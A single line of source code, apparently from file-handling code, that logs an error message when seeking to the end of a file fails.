log_message("Error: fseek to end of file failed");